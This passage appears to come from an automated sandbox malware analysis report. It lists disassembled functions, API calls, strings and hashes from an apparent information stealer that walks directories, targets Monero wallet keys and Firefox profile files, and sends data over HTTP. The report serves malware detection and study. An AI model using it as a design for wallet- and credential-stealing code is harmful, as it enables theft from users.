MOZ_TIMESTAMP_MODE, xrefs: 6C6135DB
GTC, xrefs: 6C613912

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 3e6f983c6ceb883f4280ba65b14c5f0554bbe6b9744990ee5275b66348460789
Instruction ID: ebf15e7b3efc09cf472eb22eae7549ab0d4cc57c91c1751058b792fc7a3334a7
Opcode Fuzzy Hash: 3e6f983c6ceb883f4280ba65b14c5f0554bbe6b9744990ee5275b66348460789
Instruction Fuzzy Hash: 35B1B571B093129BDB08DF2AC89461A77F9BB8A705F15893EF49AD3750D7309805CB8A

Function 001F4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 001F492C
FindFirstFileA.KERNEL32(?,?), ref: 001F4943
StrCmpCA.SHLWAPI(?,00200FDC), ref: 001F4971
StrCmpCA.SHLWAPI(?,00200FE0), ref: 001F4987
FindNextFileA.KERNEL32(000000FF,?), ref: 001F4B7D
FindClose.KERNEL32(000000FF), ref: 001F4B92

Strings

%s\%s, xrefs: 001F49FB
%s\%s, xrefs: 001F49A4
%s\*, xrefs: 001F4920

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 3da835f3839276bab026b1b709bce158458d943302fa59099a6456a3fa5185bb
Instruction ID: ba2336dcc3719eb433cadd1028772d7f6d99375bc390420217682a49aa5cf9f7
Opcode Fuzzy Hash: 3da835f3839276bab026b1b709bce158458d943302fa59099a6456a3fa5185bb
Instruction Fuzzy Hash: 6F6175B1610209ABCB30EBA0DC89FFA737CBB59300F404598B60A92141EF70DB55CF95

Function 001E4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

Part of subcall function 001E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 001E4839
Part of subcall function 001E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 001E4849

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 001E4915
StrCmpCA.SHLWAPI(?,0143E570), ref: 001E493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 001E4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00200DDB,00000000,?,?,00000000,?,",00000000,?,0143E540), ref: 001E4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 001E4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 001E4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 001E4E49
InternetCloseHandle.WININET(00000000), ref: 001E4EAD
InternetCloseHandle.WININET(00000000), ref: 001E4EC5
HttpOpenRequestA.WININET(00000000,0143E460,?,0143DB20,00000000,00000000,00400100,00000000), ref: 001E4B15

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,01438AF0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

InternetCloseHandle.WININET(00000000), ref: 001E4ECF

Strings

------, xrefs: 001E4B28
", xrefs: 001E4D33
", xrefs: 001E4BF2
------, xrefs: 001E4C69
------, xrefs: 001E49BD

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: b5263d222112eab8dd4d914f85a8c0ae5185741f5a3712f65448939f11eb88e4
Instruction ID: 359ea29b574c8ce902ce7f39dd5769cac16e5c0f6d32f8a037932517c00953e3
Opcode Fuzzy Hash: b5263d222112eab8dd4d914f85a8c0ae5185741f5a3712f65448939f11eb88e4
Instruction Fuzzy Hash: 2412E0B191011CAADB15EB50DC92FEEB378BF25341F9041A9B20A62091DFB46F49CF66

Function 001F3EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 001F3EC3
FindFirstFileA.KERNEL32(?,?), ref: 001F3EDA
StrCmpCA.SHLWAPI(?,00200FAC), ref: 001F3F08
StrCmpCA.SHLWAPI(?,00200FB0), ref: 001F3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 001F406C
FindClose.KERNEL32(000000FF), ref: 001F4081

Strings

%s\%s, xrefs: 001F3EB7

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: dff2fd9edfd04ab1acdae7491c7d6481a3d085fb76d0b8bf3de808a8e4f947e1
Instruction ID: daaf9347e559ede45af4898586f44c081a9607d5202d8e643d0daf3a3c05e5be
Opcode Fuzzy Hash: dff2fd9edfd04ab1acdae7491c7d6481a3d085fb76d0b8bf3de808a8e4f947e1
Instruction Fuzzy Hash: F35163B6900219ABCB24FBB0DC85EFA737CBB54300F404598B75A92081DB75EB968F95

Function 001EF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,01438AF0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,002015B8,00200D96), ref: 001EF71E
StrCmpCA.SHLWAPI(?,002015BC), ref: 001EF76F
StrCmpCA.SHLWAPI(?,002015C0), ref: 001EF785
FindNextFileA.KERNELBASE(000000FF,?), ref: 001EFAB1
FindClose.KERNEL32(000000FF), ref: 001EFAC3

Strings

prefs.js, xrefs: 001EF812

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 9a7b777af13d2d11e806c6dc5182d190285d05a973639d842a377f8d09408a4e
Instruction ID: fbcddcc9de09ac3299fc4fbec03edceadb8d87f49239e3a31860a427d8e16b9d
Opcode Fuzzy Hash: 9a7b777af13d2d11e806c6dc5182d190285d05a973639d842a377f8d09408a4e
Instruction Fuzzy Hash: CEB145B190010C9BDB24FF60DC95EFD7379AF64300F8081A8A90E97195EF756B5ACB92

Function 001E16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0020510C,?,?,?,002051B4,?,?,00000000,?,00000000), ref: 001E1923
StrCmpCA.SHLWAPI(?,0020525C), ref: 001E1973
StrCmpCA.SHLWAPI(?,00205304), ref: 001E1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 001E1D40
DeleteFileA.KERNEL32(00000000), ref: 001E1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 001E1E20
FindClose.KERNEL32(000000FF), ref: 001E1E32

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,01438AF0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

Strings

\*.*, xrefs: 001E17F1

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 5f79797141db8316d2f96d34195e9fa4033633ff45377b04368486d7353df9d0
Instruction ID: 43d056ef2a675f9337e50be773268650ea7c168adeff83b7a1b07e38b1fd7b95
Opcode Fuzzy Hash: 5f79797141db8316d2f96d34195e9fa4033633ff45377b04368486d7353df9d0
Instruction Fuzzy Hash: 7E12CFB195011CABDB15FB60CC96AFE7378AF64341F8041A9B60E62091EF746F89CF91

Function 001EDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,01438AF0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,002014B0,00200C2A), ref: 001EDAEB
StrCmpCA.SHLWAPI(?,002014B4), ref: 001EDB33
StrCmpCA.SHLWAPI(?,002014B8), ref: 001EDB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 001EDDCC
FindClose.KERNEL32(000000FF), ref: 001EDDDE

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 2a958bb64cd6686f4bad138885c8e78e60c52c8f0ac5367419441bcca27e269f
Instruction ID: e3d26b011c04b4a7f053020fa4638ec7a94806915198c584afecb54199219b8e
Opcode Fuzzy Hash: 2a958bb64cd6686f4bad138885c8e78e60c52c8f0ac5367419441bcca27e269f
Instruction Fuzzy Hash: 89914BB290010897CB14FBB0EC56DFD737D6F94340F808668F91E96195EF749B198B92

Function 001F7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

GetKeyboardLayoutList.USER32(00000000,00000000,002005AF), ref: 001F7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 001F7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 001F7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 001F7C62
LocalFree.KERNEL32(00000000), ref: 001F7D22

Strings

/ , xrefs: 001F7C7F

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
